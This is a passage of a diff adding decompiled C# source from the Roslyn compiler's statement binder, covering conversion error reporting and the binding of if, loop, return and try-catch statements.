SyntaxNodeOrToken.op_Implicit(syntax), sourceConstantValueOpt.Value, targetType); + } + else + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(compilation, sourceType, targetType); + Error(diagnostics, ErrorCode.ERR_NoImplicitConvCast, SyntaxNodeOrToken.op_Implicit(syntax), symbolDistinguisher.First, symbolDistinguisher.Second); + } + } + else if (conversion.ResultKind == LookupResultKind.OverloadResolutionFailure) + { + ImmutableArray originalUserDefinedConversions = conversion.OriginalUserDefinedConversions; + if (originalUserDefinedConversions.Length > 1) + { + Error(diagnostics, ErrorCode.ERR_AmbigUDConv, SyntaxNodeOrToken.op_Implicit(syntax), originalUserDefinedConversions[0], originalUserDefinedConversions[1], sourceType, targetType); + } + else + { + SymbolDistinguisher symbolDistinguisher2 = new SymbolDistinguisher(compilation, sourceType, targetType); + Error(diagnostics, ErrorCode.ERR_NoImplicitConv, SyntaxNodeOrToken.op_Implicit(syntax), symbolDistinguisher2.First, symbolDistinguisher2.Second); + } + } + else if (TypeSymbol.Equals(sourceType, targetType, (TypeCompareKind)0)) + { + Error(diagnostics, ErrorCode.ERR_NoImplicitConv, SyntaxNodeOrToken.op_Implicit(syntax), sourceType, targetType); + } + else + { + SymbolDistinguisher symbolDistinguisher3 = new SymbolDistinguisher(compilation, sourceType, targetType); + Error(diagnostics, ErrorCode.ERR_NoImplicitConv, SyntaxNodeOrToken.op_Implicit(syntax), symbolDistinguisher3.First, symbolDistinguisher3.Second); + } + } + + protected void GenerateImplicitConversionError(BindingDiagnosticBag diagnostics, SyntaxNode syntax, Conversion conversion, BoundExpression operand, TypeSymbol targetType) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_029f: Unknown result type (might be due to invalid IL or missing references) + //IL_02a4: Unknown result type (might be due to invalid IL or missing references) + //IL_0274: Unknown result type (might be due to invalid IL or missing references) + //IL_0338: Unknown result type (might be due to invalid IL or missing references) + //IL_033d: Unknown result type (might be due to invalid IL or missing references) + //IL_0184: Unknown result type (might be due to invalid IL or missing references) + //IL_0324: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_01f5: Invalid comparison between Unknown and I4 + //IL_0208: Unknown result type (might be due to invalid IL or missing references) + //IL_0240: Unknown result type (might be due to invalid IL or missing references) + if ((int)targetType.TypeKind == 6) + { + return; + } + if (targetType.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_NoImplicitConv, SyntaxNodeOrToken.op_Implicit(syntax), operand.Display, targetType); + return; + } + switch (operand.Kind) + { + case BoundKind.BadExpression: + return; + case BoundKind.UnboundLambda: + GenerateAnonymousFunctionConversionError(diagnostics, syntax, (UnboundLambda)operand, targetType); + return; + case BoundKind.TupleLiteral: + { + BoundTupleLiteral boundTupleLiteral = (BoundTupleLiteral)operand; + ImmutableArray elementTypes = default(ImmutableArray); + if (targetType.TryGetElementTypesWithAnnotationsIfTupleType(out elementTypes) && elementTypes.Length == boundTupleLiteral.Arguments.Length) + { + GenerateImplicitConversionErrorsForTupleLiteralArguments(diagnostics, boundTupleLiteral.Arguments, elementTypes); + return; + } + if ((object)boundTupleLiteral.Type == null) + { + Error(diagnostics, ErrorCode.ERR_ConversionNotTupleCompatible, SyntaxNodeOrToken.op_Implicit(syntax), boundTupleLiteral.Arguments.Length, targetType); + return; + } + break; + } + case BoundKind.MethodGroup: + reportMethodGroupErrors((BoundMethodGroup)operand, fromAddressOf: false); + return; + case BoundKind.UnconvertedAddressOfOperator: + reportMethodGroupErrors(((BoundUnconvertedAddressOfOperator)operand).Operand, fromAddressOf: true); + return; + case BoundKind.Literal: + if (operand.IsLiteralNull()) + { + if ((int)targetType.TypeKind == 11) + { + Error(diagnostics, ErrorCode.ERR_TypeVarCantBeNull, SyntaxNodeOrToken.op_Implicit(syntax), targetType); + return; + } + if (targetType.IsValueType) + { + Error(diagnostics, ErrorCode.ERR_ValueCantBeNull, SyntaxNodeOrToken.op_Implicit(syntax), targetType); + return; + } + } + break; + case BoundKind.StackAllocArrayCreation: + { + BoundStackAllocArrayCreation boundStackAllocArrayCreation = (BoundStackAllocArrayCreation)operand; + Error(diagnostics, ErrorCode.ERR_StackAllocConversionNotPossible, SyntaxNodeOrToken.op_Implicit(syntax), boundStackAllocArrayCreation.ElementType, targetType); + return; + } + case BoundKind.UnconvertedSwitchExpression: + { + BoundUnconvertedSwitchExpression obj = (BoundUnconvertedSwitchExpression)operand; + CompoundUseSiteInfo useSiteInfo2 = CompoundUseSiteInfo.Discarded; + bool reportedError2 = false; + ImmutableArray.Enumerator enumerator = obj.SwitchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + tryConversion(current.Value, ref reportedError2, ref useSiteInfo2); + } + return; + } + case BoundKind.UnconvertedCollectionExpression: + GenerateImplicitConversionErrorForCollectionExpression((BoundUnconvertedCollectionExpression)operand, targetType, diagnostics); + return; + case BoundKind.AddressOfOperator: + if (targetType.IsFunctionPointer()) + { + Error(diagnostics, ErrorCode.ERR_InvalidAddrOp, SyntaxNodeOrToken.op_Implicit(((BoundAddressOfOperator)operand).Operand.Syntax)); + return; + } + break; + case BoundKind.UnconvertedConditionalOperator: + { + BoundUnconvertedConditionalOperator boundUnconvertedConditionalOperator = (BoundUnconvertedConditionalOperator)operand; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + bool reportedError = false; + tryConversion(boundUnconvertedConditionalOperator.Consequence, ref reportedError, ref useSiteInfo); + tryConversion(boundUnconvertedConditionalOperator.Alternative, ref reportedError, ref useSiteInfo); + return; + } + } + TypeSymbol type = operand.Type; + if ((object)type != null) + { + GenerateImplicitConversionError(diagnostics, Compilation, syntax, conversion, type, targetType, operand.ConstantValueOpt); + } + void reportMethodGroupErrors(BoundMethodGroup methodGroup, bool fromAddressOf) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Invalid comparison between Unknown and I4 + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Invalid comparison between Unknown and I4 + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + if (!Microsoft.CodeAnalysis.CSharp.Conversions.ReportDelegateOrFunctionPointerMethodGroupDiagnostics(this, methodGroup, targetType, diagnostics)) + { + SyntaxNode val = syntax; + while (val.Kind() == SyntaxKind.ParenthesizedExpression) + { + val = (SyntaxNode)(object)((ParenthesizedExpressionSyntax)(object)val).Expression; + } + if (val.Kind() == SyntaxKind.SimpleMemberAccessExpression || val.Kind() == SyntaxKind.PointerMemberAccessExpression) + { + val = (SyntaxNode)(object)((MemberAccessExpressionSyntax)(object)val).Name; + } + Location location = val.Location; + if (!ReportDelegateInvokeUseSiteDiagnostic(diagnostics, targetType, location)) + { + TypeKind typeKind = targetType.TypeKind; + ErrorCode code; + if ((int)typeKind == 3) + { + code = ((!fromAddressOf) ? ErrorCode.ERR_MethDelegateMismatch : ErrorCode.ERR_CannotConvertAddressOfToDelegate); + } + else if ((int)typeKind == 13) + { + if (!fromAddressOf) + { + Error(diagnostics, ErrorCode.ERR_MissingAddressOf, location); + return; + } + code = ErrorCode.ERR_MethFuncPtrMismatch; + } + else + { + CompoundUseSiteInfo useSiteInfo3 = CompoundUseSiteInfo.Discarded; + if (fromAddressOf) + { + code = ErrorCode.ERR_AddressOfToNonFunctionPointer; + } + else + { + if (Conversions.IsValidFunctionTypeConversionTarget(targetType, ref useSiteInfo3) && !targetType.IsNonGenericExpressionType() && syntax.IsFeatureEnabled(MessageID.IDS_FeatureInferredDelegateType)) + { + Error(diagnostics, ErrorCode.ERR_CannotInferDelegateType, location); + return; + } + code = ErrorCode.ERR_MethGrpToNonDel; + } + } + Error(diagnostics, code, location, methodGroup.Name, targetType); + } + } + } + void tryConversion(BoundExpression expr, ref bool reference, ref CompoundUseSiteInfo useSiteInfo3) + { + Conversion conversion2 = Conversions.ClassifyImplicitConversionFromExpression(expr, targetType, ref useSiteInfo3); + if (!conversion2.IsImplicit || !conversion2.IsValid) + { + GenerateImplicitConversionError(diagnostics, expr.Syntax, conversion2, expr, targetType); + reference = true; + } + } + } + + private void GenerateImplicitConversionErrorsForTupleLiteralArguments(BindingDiagnosticBag diagnostics, ImmutableArray tupleArguments, ImmutableArray targetElementTypes) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + _ = tupleArguments.Length; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + for (int i = 0; i < targetElementTypes.Length; i++) + { + BoundExpression boundExpression = tupleArguments[i]; + TypeSymbol type = targetElementTypes[i].Type; + Conversion conversion = Conversions.ClassifyImplicitConversionFromExpression(boundExpression, type, ref useSiteInfo); + if (!conversion.IsValid) + { + GenerateImplicitConversionError(diagnostics, boundExpression.Syntax, conversion, boundExpression, type); + } + } + } + + private BoundStatement BindIfStatement(IfStatementSyntax node, BindingDiagnosticBag diagnostics) + { + BoundExpression condition = BindBooleanExpression(node.Condition, diagnostics); + BoundStatement consequence = BindPossibleEmbeddedStatement(node.Statement, diagnostics); + BoundStatement alternativeOpt = ((node.Else == null) ? null : BindPossibleEmbeddedStatement(node.Else.Statement, diagnostics)); + return new BoundIfStatement((SyntaxNode)(object)node, condition, consequence, alternativeOpt); + } + + internal BoundExpression BindBooleanExpression(ExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Invalid comparison between Unknown and I4 + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + BoundExpression boundExpression = BindValue(node, diagnostics, BindValueKind.RValue); + NamedTypeSymbol specialType = GetSpecialType((SpecialType)7, diagnostics, (SyntaxNode)(object)node); + if (boundExpression.HasAnyErrors) + { + return BoundConversion.Synthesized((SyntaxNode)(object)node, BindToTypeForErrorRecovery(boundExpression), Conversion.NoConversion, @checked: false, explicitCastInCode: false, null, null, specialType, hasErrors: true); + } + if (boundExpression.HasDynamicType()) + { + return new BoundUnaryOperator((SyntaxNode)(object)node, UnaryOperatorKind.DynamicTrue, BindToNaturalType(boundExpression, diagnostics), null, null, null, LookupResultKind.Viable, specialType) + { + WasCompilerGenerated = true + }; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(boundExpression, specialType, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(boundExpression.Syntax, useSiteInfo); + if (conversion.IsImplicit) + { + if (conversion.Kind == ConversionKind.Identity && boundExpression.Kind == BoundKind.AssignmentOperator) + { + BoundAssignmentOperator boundAssignmentOperator = (BoundAssignmentOperator)boundExpression; + if (boundAssignmentOperator.Right.Kind == BoundKind.Literal && (int)boundAssignmentOperator.Right.ConstantValueOpt.Discriminator == 13) + { + Error(diagnostics, ErrorCode.WRN_IncorrectBooleanAssg, SyntaxNodeOrToken.op_Implicit(boundAssignmentOperator.Syntax)); + } + } + return CreateConversion(boundExpression.Syntax, boundExpression, conversion, isCast: false, null, wasCompilerGenerated: true, specialType, diagnostics); + } + boundExpression = BindToNaturalType(boundExpression, diagnostics); + LookupResultKind resultKind; + ImmutableArray originalUserDefinedOperators; + UnaryOperatorAnalysisResult unaryOperatorAnalysisResult = UnaryOperatorOverloadResolution(UnaryOperatorKind.True, boundExpression, node, diagnostics, out resultKind, out originalUserDefinedOperators); + if (!unaryOperatorAnalysisResult.HasValue) + { + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion, boundExpression, specialType); + return BoundConversion.Synthesized((SyntaxNode)(object)node, boundExpression, Conversion.NoConversion, @checked: false, explicitCastInCode: false, null, null, specialType, hasErrors: true); + } + UnaryOperatorSignature signature = unaryOperatorAnalysisResult.Signature; + BoundExpression operand = CreateConversion((SyntaxNode)(object)node, boundExpression, unaryOperatorAnalysisResult.Conversion, isCast: false, null, unaryOperatorAnalysisResult.Signature.OperandType, diagnostics); + CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, signature.Method, isUnsignedRightShift: false, signature.ConstrainedToTypeOpt, diagnostics); + return new BoundUnaryOperator((SyntaxNode)(object)node, signature.Kind, operand, null, signature.Method, signature.ConstrainedToTypeOpt, resultKind, originalUserDefinedOperators, signature.ReturnType) + { + WasCompilerGenerated = true + }; + } + + private BoundStatement BindSwitchStatement(SwitchStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.BindSwitchStatementCore(node, binder, diagnostics); + } + + internal virtual BoundStatement BindSwitchStatementCore(SwitchStatementSyntax node, Binder originalBinder, BindingDiagnosticBag diagnostics) + { + return Next.BindSwitchStatementCore(node, originalBinder, diagnostics); + } + + internal virtual void BindPatternSwitchLabelForInference(CasePatternSwitchLabelSyntax node, BindingDiagnosticBag diagnostics) + { + Next.BindPatternSwitchLabelForInference(node, diagnostics); + } + + private BoundStatement BindWhile(WhileStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.BindWhileParts(diagnostics, binder); + } + + internal virtual BoundWhileStatement BindWhileParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return Next.BindWhileParts(diagnostics, originalBinder); + } + + private BoundStatement BindDo(DoStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.BindDoParts(diagnostics, binder); + } + + internal virtual BoundDoStatement BindDoParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return Next.BindDoParts(diagnostics, originalBinder); + } + + internal BoundForStatement BindFor(ForStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return binder.BindForParts(diagnostics, binder); + } + + internal virtual BoundForStatement BindForParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return Next.BindForParts(diagnostics, originalBinder); + } + + internal BoundStatement BindForOrUsingOrFixedDeclarations(VariableDeclarationSyntax nodeOpt, LocalDeclarationKind localKind, BindingDiagnosticBag diagnostics, out ImmutableArray declarations) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (nodeOpt == null) + { + declarations = ImmutableArray.Empty; + return null; + } + TypeSyntax typeSyntax = nodeOpt.Type; + if (typeSyntax is ScopedTypeSyntax scopedTypeSyntax) + { + ModifierUtils.CheckScopedModifierAvailability(typeSyntax, scopedTypeSyntax.ScopedKeyword, diagnostics); + typeSyntax = scopedTypeSyntax.Type; + } + if (localKind == LocalDeclarationKind.RegularVariable) + { + typeSyntax = typeSyntax.SkipRef(); + } + bool isVar; + AliasSymbol alias; + TypeWithAnnotations declTypeOpt = BindTypeOrVarKeyword(typeSyntax, diagnostics, out isVar, out alias); + SeparatedSyntaxList variables = nodeOpt.Variables; + int count = variables.Count; + if (isVar && count > 1) + { + Error(diagnostics, ErrorCode.ERR_ImplicitlyTypedVariableMultipleDeclarator, (CSharpSyntaxNode)nodeOpt); + } + BoundLocalDeclaration[] array = new BoundLocalDeclaration[count]; + for (int i = 0; i < count; i++) + { + VariableDeclaratorSyntax declarator = variables[i]; + bool includeBoundType = i == 0; + BoundLocalDeclaration boundLocalDeclaration = BindVariableDeclaration(localKind, isVar, declarator, typeSyntax, declTypeOpt, alias, diagnostics, includeBoundType); + array[i] = boundLocalDeclaration; + } + declarations = ImmutableArrayExtensions.AsImmutableOrNull(array); + if (count != 1) + { + return new BoundMultipleLocalDeclarations((SyntaxNode)(object)nodeOpt, declarations); + } + return declarations[0]; + } + + internal BoundStatement BindStatementExpressionList(SeparatedSyntaxList statements, BindingDiagnosticBag diagnostics) + { + int count = statements.Count; + switch (count) + { + case 0: + return null; + case 1: + { + ExpressionSyntax expressionSyntax2 = statements[0]; + return BindExpressionStatement(expressionSyntax2, expressionSyntax2, allowsAnyExpression: false, diagnostics); + } + default: + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < count; i++) + { + ExpressionSyntax expressionSyntax = statements[i]; + BoundExpressionStatement boundExpressionStatement = BindExpressionStatement(expressionSyntax, expressionSyntax, allowsAnyExpression: false, diagnostics); + instance.Add((BoundStatement)boundExpressionStatement); + } + return BoundStatementList.Synthesized(statements.Node, instance.ToImmutableAndFree()); + } + } + } + + private BoundStatement BindForEach(CommonForEachStatementSyntax node, BindingDiagnosticBag diagnostics) + { + Binder binder = GetBinder((SyntaxNode)(object)node); + return GetBinder((SyntaxNode)(object)node.Expression).WrapWithVariablesIfAny(node.Expression, binder.BindForEachParts(diagnostics, binder)); + } + + internal virtual BoundStatement BindForEachParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return Next.BindForEachParts(diagnostics, originalBinder); + } + + internal virtual BoundStatement BindForEachDeconstruction(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + return Next.BindForEachDeconstruction(diagnostics, originalBinder); + } + + private BoundStatement BindBreak(BreakStatementSyntax node, BindingDiagnosticBag diagnostics) + { + GeneratedLabelSymbol breakLabel = BreakLabel; + if ((object)breakLabel == null) + { + Error(diagnostics, ErrorCode.ERR_NoBreakOrCont, (CSharpSyntaxNode)node); + return new BoundBadStatement((SyntaxNode)(object)node, ImmutableArray.Empty, hasErrors: true); + } + return new BoundBreakStatement((SyntaxNode)(object)node, breakLabel); + } + + private BoundStatement BindContinue(ContinueStatementSyntax node, BindingDiagnosticBag diagnostics) + { + GeneratedLabelSymbol continueLabel = ContinueLabel; + if ((object)continueLabel == null) + { + Error(diagnostics, ErrorCode.ERR_NoBreakOrCont, (CSharpSyntaxNode)node); + return new BoundBadStatement((SyntaxNode)(object)node, ImmutableArray.Empty, hasErrors: true); + } + return new BoundContinueStatement((SyntaxNode)(object)node, continueLabel); + } + + private static SwitchBinder GetSwitchBinder(Binder binder) + { + SwitchBinder switchBinder = binder as SwitchBinder; + while (binder != null && switchBinder == null) + { + binder = binder.Next; + switchBinder = binder as SwitchBinder; + } + return switchBinder; + } + + protected static bool IsInAsyncMethod(MethodSymbol method) + { + return method?.IsAsync ?? false; + } + + protected bool IsInAsyncMethod() + { + return IsInAsyncMethod(ContainingMemberOrLambda as MethodSymbol); + } + + protected bool IsEffectivelyTaskReturningAsyncMethod() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if ((object)containingMemberOrLambda != null && (int)containingMemberOrLambda.Kind == 9) + { + return ((MethodSymbol)containingMemberOrLambda).IsAsyncEffectivelyReturningTask(Compilation); + } + return false; + } + + protected bool IsEffectivelyGenericTaskReturningAsyncMethod() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if ((object)containingMemberOrLambda != null && (int)containingMemberOrLambda.Kind == 9) + { + return ((MethodSymbol)containingMemberOrLambda).IsAsyncEffectivelyReturningGenericTask(Compilation); + } + return false; + } + + protected bool IsIAsyncEnumerableOrIAsyncEnumeratorReturningAsyncMethod() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if ((object)containingMemberOrLambda != null && (int)containingMemberOrLambda.Kind == 9) + { + MethodSymbol method = (MethodSymbol)containingMemberOrLambda; + if (!method.IsAsyncReturningIAsyncEnumerable(Compilation)) + { + return method.IsAsyncReturningIAsyncEnumerator(Compilation); + } + return true; + } + return false; + } + + protected virtual TypeSymbol GetCurrentReturnType(out RefKind refKind) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Expected I4, but got Unknown + if (ContainingMemberOrLambda is MethodSymbol methodSymbol) + { + refKind = (RefKind)(int)methodSymbol.RefKind; + TypeSymbol returnType = methodSymbol.ReturnType; + if ((object)returnType == LambdaSymbol.ReturnTypeIsBeingInferred) + { + return null; + } + return returnType; + } + refKind = (RefKind)0; + return null; + } + + private BoundStatement BindReturn(ReturnStatementSyntax syntax, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Invalid comparison between Unknown and I4 + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Invalid comparison between Unknown and I4 + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0299: Unknown result type (might be due to invalid IL or missing references) + //IL_0263: Unknown result type (might be due to invalid IL or missing references) + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_01e7: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Unknown result type (might be due to invalid IL or missing references) + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + //IL_0245: Unknown result type (might be due to invalid IL or missing references) + RefKind refKind = (RefKind)0; + ExpressionSyntax expressionSyntax = syntax.Expression?.CheckAndUnwrapRefExpression(diagnostics, out refKind); + BoundExpression boundExpression = null; + if (expressionSyntax != null) + { + BindValueKind requiredReturnValueKind = GetRequiredReturnValueKind(refKind); + boundExpression = BindValue(expressionSyntax, diagnostics, requiredReturnValueKind); + } + else + { + SynthesizedInteractiveInitializerMethod synthesizedInteractiveInitializerMethod = ContainingMemberOrLambda as SynthesizedInteractiveInitializerMethod; + if (synthesizedInteractiveInitializerMethod != null) + { + boundExpression = new BoundDefaultExpression((SyntaxNode)(object)synthesizedInteractiveInitializerMethod.GetNonNullSyntaxNode(), synthesizedInteractiveInitializerMethod.ResultType); + } + } + RefKind refKind2; + TypeSymbol currentReturnType = GetCurrentReturnType(out refKind2); + bool flag = false; + SyntaxToken returnKeyword; + if (IsDirectlyInIterator) + { + returnKeyword = syntax.ReturnKeyword; + diagnostics.Add(ErrorCode.ERR_ReturnInIterator, ((SyntaxToken)(ref returnKeyword)).GetLocation()); + flag = true; + } + else if (IsInAsyncMethod()) + { + if ((int)refKind != 0) + { + returnKeyword = syntax.ReturnKeyword; + diagnostics.Add(ErrorCode.ERR_MustNotHaveRefReturn, ((SyntaxToken)(ref returnKeyword)).GetLocation()); + flag = true; + } + else if (IsIAsyncEnumerableOrIAsyncEnumeratorReturningAsyncMethod()) + { + returnKeyword = syntax.ReturnKeyword; + diagnostics.Add(ErrorCode.ERR_ReturnInIterator, ((SyntaxToken)(ref returnKeyword)).GetLocation()); + flag = true; + } + } + else if ((object)currentReturnType != null && (int)refKind > 0 != (int)refKind2 > 0) + { + ErrorCode code = (((int)refKind != 0) ? ErrorCode.ERR_MustNotHaveRefReturn : ErrorCode.ERR_MustHaveRefReturn); + returnKeyword = syntax.ReturnKeyword; + diagnostics.Add(code, ((SyntaxToken)(ref returnKeyword)).GetLocation()); + flag = true; + } + if (boundExpression != null) + { + flag |= boundExpression.HasErrors || ((object)boundExpression.Type != null && boundExpression.Type.IsErrorType()); + } + if (flag) + { + return new BoundReturnStatement((SyntaxNode)(object)syntax, refKind, BindToTypeForErrorRecovery(boundExpression), CheckOverflowAtRuntime, hasErrors: true); + } + if ((object)currentReturnType != null) + { + if (currentReturnType.IsVoidType() || IsEffectivelyTaskReturningAsyncMethod()) + { + if (boundExpression != null) + { + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if (containingMemberOrLambda is LambdaSymbol) + { + if (currentReturnType.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_RetNoObjectRequiredLambda, syntax.ReturnKeyword); + } + else + { + Error(diagnostics, ErrorCode.ERR_TaskRetNoObjectRequiredLambda, syntax.ReturnKeyword, currentReturnType); + } + flag = true; + } + else + { + if (currentReturnType.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_RetNoObjectRequired, syntax.ReturnKeyword, containingMemberOrLambda); + } + else + { + Error(diagnostics, ErrorCode.ERR_TaskRetNoObjectRequired, syntax.ReturnKeyword, containingMemberOrLambda, currentReturnType); + } + flag = true; + } + } + } + else if (boundExpression == null) + { + TypeSymbol typeSymbol = (IsEffectivelyGenericTaskReturningAsyncMethod() ? currentReturnType.GetMemberTypeArgumentsNoUseSiteDiagnostics().Single() : currentReturnType); + Error(diagnostics, ErrorCode.ERR_RetObjectRequired, syntax.ReturnKeyword, typeSymbol); + flag = true; + } + else + { + boundExpression = CreateReturnConversion((SyntaxNode)(object)syntax, diagnostics, boundExpression, refKind2, currentReturnType); + } + } + else if ((object)boundExpression?.Type != null && boundExpression.Type.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_CantReturnVoid, (CSharpSyntaxNode)expressionSyntax); + flag = true; + } + return new BoundReturnStatement((SyntaxNode)(object)syntax, refKind, flag ? BindToTypeForErrorRecovery(boundExpression) : boundExpression, flag); + } + + internal BoundExpression CreateReturnConversion(SyntaxNode syntax, BindingDiagnosticBag diagnostics, BoundExpression argument, RefKind returnRefKind, TypeSymbol returnType) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion; + if (IsInAsyncMethod()) + { + if (!IsEffectivelyGenericTaskReturningAsyncMethod()) + { + conversion = Conversion.NoConversion; + flag = true; + } + else + { + returnType = returnType.GetMemberTypeArgumentsNoUseSiteDiagnostics().Single(); + conversion = Conversions.ClassifyConversionFromExpression(argument, returnType, CheckOverflowAtRuntime, ref useSiteInfo); + } + } + else + { + conversion = Conversions.ClassifyConversionFromExpression(argument, returnType, CheckOverflowAtRuntime, ref useSiteInfo); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + if (!argument.HasAnyErrors) + { + if ((int)returnRefKind != 0) + { + if (conversion.Kind == ConversionKind.Identity) + { + return BindToNaturalType(argument, diagnostics); + } + Error(diagnostics, ErrorCode.ERR_RefReturnMustHaveIdentityConversion, SyntaxNodeOrToken.op_Implicit(argument.Syntax), returnType); + argument = argument.WithHasErrors(); + } + else if ((!conversion.IsImplicit || !conversion.IsValid) && !flag) + { + if (IsEffectivelyGenericTaskReturningAsyncMethod() && TypeSymbol.Equals(argument.Type, GetCurrentReturnType(out var _), (TypeCompareKind)0)) + { + Error(diagnostics, ErrorCode.ERR_BadAsyncReturnExpression, SyntaxNodeOrToken.op_Implicit(argument.Syntax), returnType, argument.Type); + } + else + { + GenerateImplicitConversionError(diagnostics, argument.Syntax, conversion, argument, returnType); + if (ContainingMemberOrLambda is LambdaSymbol) + { + ReportCantConvertLambdaReturn(argument.Syntax, diagnostics); + } + } + } + } + return CreateConversion(argument.Syntax, argument, conversion, isCast: false, null, returnType, diagnostics); + } + + private BoundTryStatement BindTryStatement(TryStatementSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + BoundBlock tryBlock = BindEmbeddedBlock(node.Block, diagnostics); + ImmutableArray catchBlocks = BindCatchBlocks(node.Catches, diagnostics); + BoundBlock finallyBlockOpt = ((node.Finally != null) ? BindEmbeddedBlock(node.Finally.Block, diagnostics) : null); + return new BoundTryStatement((SyntaxNode)(object)node, tryBlock, catchBlocks, finallyBlockOpt); + } + + private ImmutableArray BindCatchBlocks(SyntaxList catchClauses, BindingDiagnosticBag diagnostics) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + int count = catchClauses.Count; + if (count == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + bool flag = false; + Enumerator enumerator = catchClauses.GetEnumerator(); + while (enumerator.MoveNext()) + { + CatchClauseSyntax current = enumerator.Current; + if (flag) + { + SyntaxToken catchKeyword = current.CatchKeyword; + diagnostics.Add(ErrorCode.ERR_TooManyCatches, ((SyntaxToken)(ref catchKeyword)).GetLocation()); + } + BoundCatchBlock boundCatchBlock = GetBinder((SyntaxNode)(object)current).BindCatchBlock(current, instance, diagnostics); + instance.Add(boundCatchBlock); + flag |= current.Declaration == null && current.Filter == null; + } + return 